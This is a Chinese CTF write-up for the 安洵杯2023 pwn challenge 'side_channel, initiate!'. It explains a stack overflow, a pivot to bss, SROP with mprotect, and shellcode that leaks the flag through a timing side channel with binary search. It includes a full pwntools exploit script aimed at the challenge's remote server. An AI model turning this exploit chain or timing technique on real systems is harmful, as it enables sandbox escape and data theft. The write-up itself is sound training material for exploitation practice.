安洵杯2023 side_channel , initiate!:側通道爆破flag

Seg_Tree發表於2024-04-01

當程式有辦法讀取到flag但無法將flag輸出出來時,可以採用側通道爆破flag確定其內容。

例題:安洵杯2023 side_channel,initiate!

題目本身很簡單,允許在bss上寫一大段,然後一個棧溢位。但沙箱是這個畫風:
image
函式里還有一個單純的mov rax 0fh,允許了rt_stgreturn和mprotect的許可權,很明顯的提示,就是讓我們SROP之後利用mprotect改bss的執行許可權,然後在bss上執行shellcode。
具體就是在bss上佈置好SROP所需的ROP鏈,sigframe,預留好後面執行shellcode所需的棧,"./flag"以及shellcode,後面的讀入再開始棧遷移。執行的時候先從棧段遷移到bss上,做mov rax 0fh之類的設定sigframe,sigframe設定成跳到mprotect,把bss的執行許可權改出來,然後rsp設定到之前預留好的bss上的"棧"上。rip做完syscall緊接著一個ret就可以返回到shellcode上,繼續往高地址執行;rsp往低地址增長即可。

        buf = 0x404060
        bss_H = 0x405000
        rax_15_ret = 0x401193
        leave_ret = 0x401446
        syscall_rbp_ret = 0x40118a
        call_syscall = 0x401186
        payload = b""
        payload = payload.ljust(0x400,b'\0')
        sigframe = SigreturnFrame()
        sigframe.rax = 10
        sigframe.rdi = 0x404000
        sigframe.rsi = 0x2000
        sigframe.rdx = 7
        sigframe.rsp = buf+0x508
        sigframe.rbp = buf+0x508
        sigframe.rip = call_syscall
        payload+= p64(rax_15_ret) + p64(syscall_rbp_ret) + bytes(sigframe)
        payload = payload.ljust(0x500,b'\0')
        payload+= p64(buf+0x518) + b"./flag\0\0"
        payload +=asm(sh.format(index,mid))
        # p = process("./chall")
        p = remote("47.108.206.43",25678)
        p.recvline()
        p.send(payload)
        payload = b'a'*0x2a + p64(buf+0x400-8) + p64(leave_ret)
        T = time.time()
        # gdb.attach(p)
        p.recvline()
        p.send(payload)

然後開始執行shellcode,做我們的側通道。在shellcode中把flag讀到記憶體中,然後用這樣的彙編程式碼來猜測字元:

mov rax,0
mov rdi,3
mov rsi,0x404600
mov rdx,0x40
syscall
mov rax,rsi
mov bl,byte ptr [rax+{}]
cmp bl,{}
ja $-3

即,拿讀到的第i個字元和猜測字元j比對,若flag[i]>j則進入迴圈卡死,若不同則執行到shellcode結尾爆sigsegv,如是二分查詢flag的每個字元。由於遠端互動還需要時間加上py效率可疑,而且判斷timeout的時間必須要給充足,逐個匹配迴圈查詢太慢了基本沒法用,二分查詢十幾秒就能跑出一個字元來,速度可以接受。當時打遠端看見flag一個一個出來了還是挺激動的(
記一下完整程式碼,作為側通道板子:

from pwn import*
context.arch = 'amd64'
s = "{}=-abcdefghijklmnopqrstuvwxyz0123456789"
list = [ord(x) for x in s]
sh = """
mov rax,2
mov rdi,0x404570
mov rsi,0
mov rdx,0
syscall
mov rax,0
mov rdi,3
mov rsi,0x404600
mov rdx,0x40
syscall
mov rax,rsi
mov bl,byte ptr [rax+{}]
cmp bl,{}
ja $-3
"""
#若猜測的字元小於真實字元則會被卡死
index = 0
flag=""
while(1):
    l=32
    r=126
    ans=0
    while(l<=r):
        mid = (l+r)>>1
        buf = 0x404060
        bss_H = 0x405000
        rax_15_ret = 0x401193
        leave_ret = 0x401446
        syscall_rbp_ret = 0x40118a
        call_syscall = 0x401186
        payload = b""
        payload = payload.ljust(0x400,b'\0')
        sigframe = SigreturnFrame()
        sigframe.rax = 10
        sigframe.rdi = 0x404000
        sigframe.rsi = 0x2000
        sigframe.rdx = 7
        sigframe.rsp = buf+0x508
        sigframe.rbp = buf+0x508
        sigframe.rip = call_syscall
        payload+= p64(rax_15_ret) + p64(syscall_rbp_ret) + bytes(sigframe)
        payload = payload.ljust(0x500,b'\0')
        payload+= p64(buf+0x518) + b"./flag\0\0"
        payload +=asm(sh.format(index,mid))
        # p = process("./chall")
        p = remote("47.108.206.43",25678)
        p.recvline()
        p.send(payload)
        payload = b'a'*0x2a + p64(buf+0x400-8) + p64(leave_ret)
        T = time.time()
        # gdb.attach(p)
        p.recvline()
        p.send(payload)
        try:
            cur = p.recv(timeout=1)
            print(str(time.time()-T))
            if(time.time()-T>0.9):
                print("Too Small Too Small Too Small Too Small Too Small Too Small ")
                l=mid+1
            else:
                print("Big or Equal Big or Equal Big or Equal Big or Equal ")
                ans=mid
                r=mid-1
        except:
            print(str(time.time()-T))
            print("Big or Equal Big or Equal Big or Equal Big or Equal ")
            ans=mid
            r=mid-1
        p.close()
    flag+= chr(ans)
    print("Now Ans Now Ans Now Ans Now Ans Now Ans Now Ans Now Ans Now Ans " + flag)
    index = index+1
    if '}' in flag:
        break

print(flag)

相關文章